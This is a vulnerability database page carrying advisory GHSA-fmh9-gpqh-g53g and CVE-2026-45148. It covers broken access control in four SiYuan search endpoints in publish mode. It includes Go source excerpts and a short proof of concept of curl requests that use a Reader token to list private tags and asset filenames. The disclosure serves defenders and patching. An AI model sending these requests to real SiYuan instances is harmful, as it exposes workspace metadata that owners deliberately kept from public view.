Vulnerability-Lookup

GHSA-FMH9-GPQH-G53G

Vulnerability from github – Published: 2026-05-13 15:33 – Updated: 2026-05-15 23:45

Summary

SiYuan has broken access control in `/api/search/{searchAsset,searchTag,searchWidget,searchTemplate}` publish-mode

Details

Summary

The advisory GHSA-c77m-r996-jr3q patched getBookmark so that, when invoked by a publish-mode RoleReader, results are filtered through FilterBlocksByPublishAccess to remove entries from password-protected / publish-ignored notebooks. Four sibling search handlers in the same file did not receive the equivalent treatment and continue to expose metadata across the publish-access boundary.

Details

Affected files / lines (v3.6.5):

kernel/api/router.go:181-190 — all four endpoints registered with CheckAuth only, which the publish-service RoleReader JWT passes:

ginServer.Handle("POST", "/api/search/searchTag",      model.CheckAuth, searchTag)
ginServer.Handle("POST", "/api/search/searchTemplate", model.CheckAuth, searchTemplate)
ginServer.Handle("POST", "/api/search/searchWidget",   model.CheckAuth, searchWidget)
ginServer.Handle("POST", "/api/search/searchAsset",    model.CheckAuth, searchAsset)

kernel/api/search.go — none of the four handlers branches on model.IsReadOnlyRoleContext(c) to filter the response, while their peers in the same file do. Compare:

// :29-65  listInvalidBlockRefs — DOES filter:
if model.IsReadOnlyRoleContext(c) {
    publishAccess := model.GetPublishAccess()
    blocks = model.FilterBlocksByPublishAccess(c, publishAccess, blocks)
}

// :67-93  getAssetContent — DOES filter (FilterAssetContentByPublishAccess)
// :95-115 fullTextSearchAssetContent — DOES filter
// :250-285 getEmbedBlock — DOES filter (FilterEmbedBlocksByPublishAccess)

// :156-176 searchAsset — does NOT filter
ret.Data = model.SearchAssetsByName(k, exts)

// :178-196 searchTag — does NOT filter
tags := model.SearchTags(k)
ret.Data = map[string]any{"tags": tags, "k": k}

// :198-213 searchWidget — does NOT filter
widgets := model.SearchWidget(keyword)

// :233-248 searchTemplate — does NOT filter
templates := model.SearchTemplate(keyword)

model.SearchAssetsByName, model.SearchTags, model.SearchWidget, model.SearchTemplate operate over the entire workspace database / filesystem, not just the publish-visible subset. A FilterTagsByPublishIgnore helper already exists in kernel/model/ and is used by getTag itself (kernel/api/tag.go:58-62), confirming the maintainers' intent.

PoC

End-to-end reproduction requires enabling the SiYuan publish service, marking one notebook as private to publish access, and obtaining a RoleReader JWT from the publish reverse-proxy (per kernel/server/proxy/publish.go). Once authenticated as the Reader against the publish port:

# Returns ALL tags across the workspace, including ones drawn only from the publish-private notebook.
curl -X POST https://<publish-host>/api/search/searchTag \
     -H 'Authorization: Bearer <reader-jwt>' \
     -H 'Content-Type: application/json' \
     -d '{"k":""}'

# Returns ALL asset filenames (e.g., CV.pdf, contract.docx, salary-2026.xlsx) regardless of source notebook.
curl -X POST https://<publish-host>/api/search/searchAsset \
     -H 'Authorization: Bearer <reader-jwt>' \
     -H 'Content-Type: application/json' \
     -d '{"k":""}'

curl -X POST https://<publish-host>/api/search/searchWidget   -H '...' -d '{"k":""}'
curl -X POST https://<publish-host>/api/search/searchTemplate -H '...' -d '{"k":""}'

Each call returns the global result set without applying FilterTagsByPublishIgnore / FilterAssetContentByPublishAccess / equivalent.

In this audit I source-confirmed the missing branch in v3.6.5 but did not stand up the full publish-service flow. The fix is straightforward enough that the source-level evidence should be sufficient for triage.

Impact

A publish-service Reader (the role assigned to anonymous publish visitors by default) can enumerate:

All tag strings used anywhere in the workspace — frequently contains person names, project codenames, internal identifiers.
All asset filenames uploaded to the workspace — frequently contains the contents of CV.pdf, contract.docx, salary-2026.xlsx, etc.
All widget names and template names installed in the workspace.

This violates the publish-service trust boundary. Users intentionally mark notebooks as "invisible to publish" specifically to keep this metadata out of public reach.

Severity

4.3 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/siyuan-note/siyuan/kernel"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.0.0-20260512140701-d7b77d945e0d"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-45148"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-13T15:33:03Z",
    "nvd_published_at": "2026-05-14T19:16:38Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\n\nThe advisory `GHSA-c77m-r996-jr3q` patched `getBookmark` so that, when invoked by a publish-mode `RoleReader`, results are filtered through `FilterBlocksByPublishAccess` to remove entries from password-protected / publish-ignored notebooks. Four sibling search handlers in the same file did not receive the equivalent treatment and continue to expose metadata across the publish-access boundary.\n\n### Details\n\n**Affected files / lines (v3.6.5):**\n\n`kernel/api/router.go:181-190` \u2014 all four endpoints registered with `CheckAuth` only, which the publish-service `RoleReader` JWT passes:\n\n```go\nginServer.Handle(\"POST\", \"/api/search/searchTag\",      model.CheckAuth, searchTag)\nginServer.Handle(\"POST\", \"/api/search/searchTemplate\", model.CheckAuth, searchTemplate)\nginServer.Handle(\"POST\", \"/api/search/searchWidget\",   model.CheckAuth, searchWidget)\nginServer.Handle(\"POST\", \"/api/search/searchAsset\",    model.CheckAuth, searchAsset)\n```\n\n`kernel/api/search.go` \u2014 none of the four handlers branches on `model.IsReadOnlyRoleContext(c)` to filter the response, while their *peers* in the same file do. Compare:\n\n```go\n// :29-65  listInvalidBlockRefs \u2014 DOES filter:\nif model.IsReadOnlyRoleContext(c) {\n    publishAccess := model.GetPublishAccess()\n    blocks = model.FilterBlocksByPublishAccess(c, publishAccess, blocks)\n}\n\n// :67-93  getAssetContent \u2014 DOES filter (FilterAssetContentByPublishAccess)\n// :95-115 fullTextSearchAssetContent \u2014 DOES filter\n// :250-285 getEmbedBlock \u2014 DOES filter (FilterEmbedBlocksByPublishAccess)\n\n// :156-176 searchAsset \u2014 does NOT filter\nret.Data = model.SearchAssetsByName(k, exts)\n\n// :178-196 searchTag \u2014 does NOT filter\ntags := model.SearchTags(k)\nret.Data = map[string]any{\"tags\": tags, \"k\": k}\n\n// :198-213 searchWidget \u2014 does NOT filter\nwidgets := model.SearchWidget(keyword)\n\n// :233-248 searchTemplate \u2014 does NOT filter\ntemplates := model.SearchTemplate(keyword)\n```\n\n`model.SearchAssetsByName`, `model.SearchTags`, `model.SearchWidget`, `model.SearchTemplate` operate over the entire workspace database / filesystem, not just the publish-visible subset. A `FilterTagsByPublishIgnore` helper *already exists* in `kernel/model/` and is used by `getTag` itself (`kernel/api/tag.go:58-62`), confirming the maintainers\u0027 intent.\n\n### PoC\n\nEnd-to-end reproduction requires enabling the SiYuan publish service, marking one notebook as private to publish access, and obtaining a `RoleReader` JWT from the publish reverse-proxy (per `kernel/server/proxy/publish.go`). Once authenticated as the Reader against the publish port:\n\n```bash\n# Returns ALL tags across the workspace, including ones drawn only from the publish-private notebook.\ncurl -X POST https://\u003cpublish-host\u003e/api/search/searchTag \\\n     -H \u0027Authorization: Bearer \u003creader-jwt\u003e\u0027 \\\n     -H \u0027Content-Type: application/json\u0027 \\\n     -d \u0027{\"k\":\"\"}\u0027\n\n# Returns ALL asset filenames (e.g., CV.pdf, contract.docx, salary-2026.xlsx) regardless of source notebook.\ncurl -X POST https://\u003cpublish-host\u003e/api/search/searchAsset \\\n     -H \u0027Authorization: Bearer \u003creader-jwt\u003e\u0027 \\\n     -H \u0027Content-Type: application/json\u0027 \\\n     -d \u0027{\"k\":\"\"}\u0027\n\ncurl -X POST https://\u003cpublish-host\u003e/api/search/searchWidget   -H \u0027...\u0027 -d \u0027{\"k\":\"\"}\u0027\ncurl -X POST https://\u003cpublish-host\u003e/api/search/searchTemplate -H \u0027...\u0027 -d \u0027{\"k\":\"\"}\u0027\n```\n\nEach call returns the global result set without applying `FilterTagsByPublishIgnore` / `FilterAssetContentByPublishAccess` / equivalent.\n\nIn this audit I source-confirmed the missing branch in v3.6.5 but did not stand up the full publish-service flow. The fix is straightforward enough that the source-level evidence should be sufficient for triage.\n\n### Impact\n\nA publish-service Reader (the role assigned to anonymous publish visitors by default) can enumerate:\n\n- All tag strings used anywhere in the workspace \u2014 frequently contains person names, project codenames, internal identifiers.\n- All asset filenames uploaded to the workspace \u2014 frequently contains the contents of `CV.pdf`, `contract.docx`, `salary-2026.xlsx`, etc.\n- All widget names and template names installed in the workspace.\n\nThis violates the publish-service trust boundary. Users intentionally mark notebooks as \"invisible to publish\" specifically to keep this metadata out of public reach.",
  "id": "GHSA-fmh9-gpqh-g53g",
  "modified": "2026-05-15T23:45:20Z",
  "published": "2026-05-13T15:33:03Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/siyuan-note/siyuan/security/advisories/GHSA-fmh9-gpqh-g53g"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-45148"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/siyuan-note/siyuan"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "SiYuan has broken access control in `/api/search/{searchAsset,searchTag,searchWidget,searchTemplate}` publish-mode"
}

CVE-2026-45148 (GCVE-0-2026-45148)

Vulnerability from cvelistv5 – Published: 2026-05-14 18:19 – Updated: 2026-05-15 14:10

Title

SiYuan: Broken access control in SiYuan publish-mode Readers can enumerate metadata

Summary

SiYuan is an open-source personal knowledge management system. Prior to 3.7.0, broken access control in the searchAsset, searchTag, searchWidget, and searchTemplate publish-mode Readers can enumerate metadata from documents that are invisible to the publish service. This vulnerability is fixed in 3.7.0.

Severity

4.3 (Medium)


                        
                          CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N

SSVC

Exploitation: poc Automatable: no Technical Impact: partial

CISA Coordinator (v2.0.3)

CWE

CWE-863 - Incorrect Authorization

Assigner

GitHub_M

References

1 reference

URL	Tags
https://github.com/siyuan-note/siyuan/security/ad…	x_refsource_CONFIRM

Impacted products

1 product

Vendor	Product	Version
siyuan-note	siyuan	Affected: < 3.7.0

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-45148",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-05-15T14:09:55.511218Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-15T14:10:21.494Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "references": [
          {
            "tags": [
              "exploit"
            ],
            "url": "https://github.com/siyuan-note/siyuan/security/advisories/GHSA-fmh9-gpqh-g53g"
          }
        ],
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "siyuan",
          "vendor": "siyuan-note",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 3.7.0"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "SiYuan is an open-source personal knowledge management system. Prior to 3.7.0, broken access control in the searchAsset, searchTag, searchWidget, and searchTemplate publish-mode Readers can enumerate metadata from documents that are invisible to the publish service. This vulnerability is fixed in 3.7.0."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "NONE",
            "baseScore": 4.3,
            "baseSeverity": "MEDIUM",
            "confidentialityImpact": "LOW",
            "integrityImpact": "NONE",
            "privilegesRequired": "LOW",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-863",
              "description": "CWE-863: Incorrect Authorization",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-14T18:19:31.004Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/siyuan-note/siyuan/security/advisories/GHSA-fmh9-gpqh-g53g",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/siyuan-note/siyuan/security/advisories/GHSA-fmh9-gpqh-g53g"
        }
      ],
      "source": {
        "advisory": "GHSA-fmh9-gpqh-g53g",
        "discovery": "UNKNOWN"
      },
      "title": "SiYuan: Broken access control in SiYuan publish-mode Readers can enumerate metadata"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-45148",
    "datePublished": "2026-05-14T18:19:31.004Z",
    "dateReserved": "2026-05-08T20:44:38.964Z",
    "dateUpdated": "2026-05-15T14:10:21.494Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

Action not permitted

GHSA-FMH9-GPQH-G53G

Summary

Details

PoC

Impact

CVE-2026-45148 (GCVE-0-2026-45148)

Tags

Sightings

Nomenclature